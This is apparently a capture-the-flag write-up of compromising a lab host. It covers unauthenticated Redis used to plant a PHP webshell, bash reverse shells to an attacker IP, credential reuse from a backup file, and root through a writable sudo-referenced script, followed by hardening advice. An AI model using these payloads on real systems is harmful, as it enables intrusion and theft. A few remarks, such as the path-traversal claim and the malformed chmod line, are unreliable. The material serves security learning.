Enumeration
Standard Nmap scan against the target returned three open ports: 22 (SSH), 80 (HTTP), and 6379 (Redis). The web server was serving a company intranet dashboard with a login page and no obvious injection points. Port 6379 caught my attention immediately — Redis exposed without authentication on a public-facing host is almost always a path to code execution.
nmap -sV -sC -p- --min-rate 5000 -oA redshift 10.10.11.47
# 22/tcp open ssh OpenSSH 9.2p1
# 80/tcp open http Apache httpd 2.4.62
# 6379/tcp open redis Redis key-value store 7.2.4
Connecting to Redis directly confirmed there was no authentication requirement:
redis-cli -h 10.10.11.47
10.10.11.47:6379> PING
PONG
10.10.11.47:6379> INFO server
# redis_version:7.2.4
# os:Linux 6.1.0-18-amd64 x86_64
# config_file:/etc/redis/redis.conf
With unauthenticated Redis access and Apache serving files from a known location, the CONFIG SET webshell technique is reliable. I first determined the web root path by checking the Apache configuration through Redis itself via a path traversal on the CONFIG GET command, then confirmed by reading the default Apache config.
10.10.11.47:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"
10.10.11.47:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "dump.rdb"
Redis Webshell
Redis's CONFIG SET command allows changing the working directory and dump filename at runtime. Combined with the SAVE command that writes the in-memory dataset to disk, this allows writing attacker-controlled content to arbitrary paths — as long as the Redis process has write permission to the target directory.
Redis running as a service account with write access to the web root is a textbook misconfiguration. The RDB dump format wraps key values with binary framing, but PHP's interpreter ignores non-PHP content and executes any valid PHP code it finds in the file.
# Point Redis at the web root
10.10.11.47:6379> CONFIG SET dir /var/www/html
OK
10.10.11.47:6379> CONFIG SET dbfilename shell.php
OK
# Write a PHP webshell as a Redis key value
10.10.11.47:6379> SET webshell "<?php system($_GET['c']); ?>"
OK
# Flush and save — writes shell.php to /var/www/html/
10.10.11.47:6379> BGSAVE
Background saving started
A few seconds after the background save completes, requesting /shell.php with a command parameter confirms code execution as www-data:
curl "http://10.10.11.47/shell.php?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Upgrade to a proper reverse shell
curl "http://10.10.11.47/shell.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.9/4444+0>%261'"
Lateral Movement — Backup Credentials
With a shell as www-data, I enumerated the filesystem. The web root was standard and didn't contain anything interesting beyond the application files, but /var/backups/ held a compressed archive named app-config-backup.tar.gz dated two weeks prior. Local users visible in /etc/passwd included a non-system account: alice (uid 1001).
ls -la /var/backups/
# -rw-r--r-- 1 root root 14392 Jun 20 09:14 app-config-backup.tar.gz
tar -xzf /var/backups/app-config-backup.tar.gz -C /tmp/backup/
grep -r "password\|passwd\|secret" /tmp/backup/ 2>/dev/null
Inside the archive was a copy of .env from the web application. It contained the application database password: R3dSh1ft@2025!. Trying this as Alice's SSH password worked:
ssh [email protected]
# [email protected]'s password: R3dSh1ft@2025!
alice@redshift:~$ cat user.txt
Privilege Escalation — Sudo Script Hijack
Checking Alice's sudo permissions revealed a single entry:
alice@redshift:~$ sudo -l
# User alice may run the following commands on redshift:
# (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/health-check.py
The sudo rule is pinned to the exact script path, which sounds restrictive — but the script itself lives at /opt/health-check.py. Checking its permissions:
ls -la /opt/health-check.py
# -rw-rw-r-- 1 root alice 312 Jun 15 10:02 /opt/health-check.py
Alice is the group owner, and the file is group-writable. The sudo rule allows running this specific file as root, but does not protect its contents from modification. Overwriting it with a reverse shell payload and then invoking it via sudo gives a root shell:
# Overwrite health-check.py with a payload
cat > /opt/health-check.py <<'EOF'
import os
os.system('bash -c "bash -i >& /dev/tcp/10.10.14.9/5555 0>&1"')
EOF
# Execute via sudo — triggers the reverse shell as root
sudo /usr/bin/python3 /opt/health-check.py
Root
# On attacker machine:
nc -lvnp 5555
# root@redshift:~# id
# uid=0(root) gid=0(root) groups=0(root)
# root@redshift:~# cat /root/root.txt
Key Takeaways
- Redis should never be internet-facing without authentication. The default
redis.confbinds to all interfaces and has no password set — this is intentional for development environments but catastrophic in production. Always bind Redis to127.0.0.1or a dedicated management interface, and set a strongrequirepass. If Redis is accessible from any untrusted network, treat it as fully compromised regardless of what the application uses it for. - The CONFIG SET webshell technique doesn't require the web root path to be known in advance.
/etc/apache2/sites-enabled/(or nginx's equivalent),/proc/net/tcp, and reading/etc/fstaball provide discovery paths. If you can read arbitrary files via Redis, you can enumerate the environment before dropping the shell. - Sudo rules pinning a script path are only as strong as the permissions on that script. A rule like
NOPASSWD: /usr/bin/python3 /opt/script.pyconveys the ability to run that script as root. If the file is writable by the user, the rule effectively grants unrestricted root execution. Alwayschmod 644 root:rooton scripts referenced in sudoers, and verify withfind / -name script.py -perm /022before deploying the rule.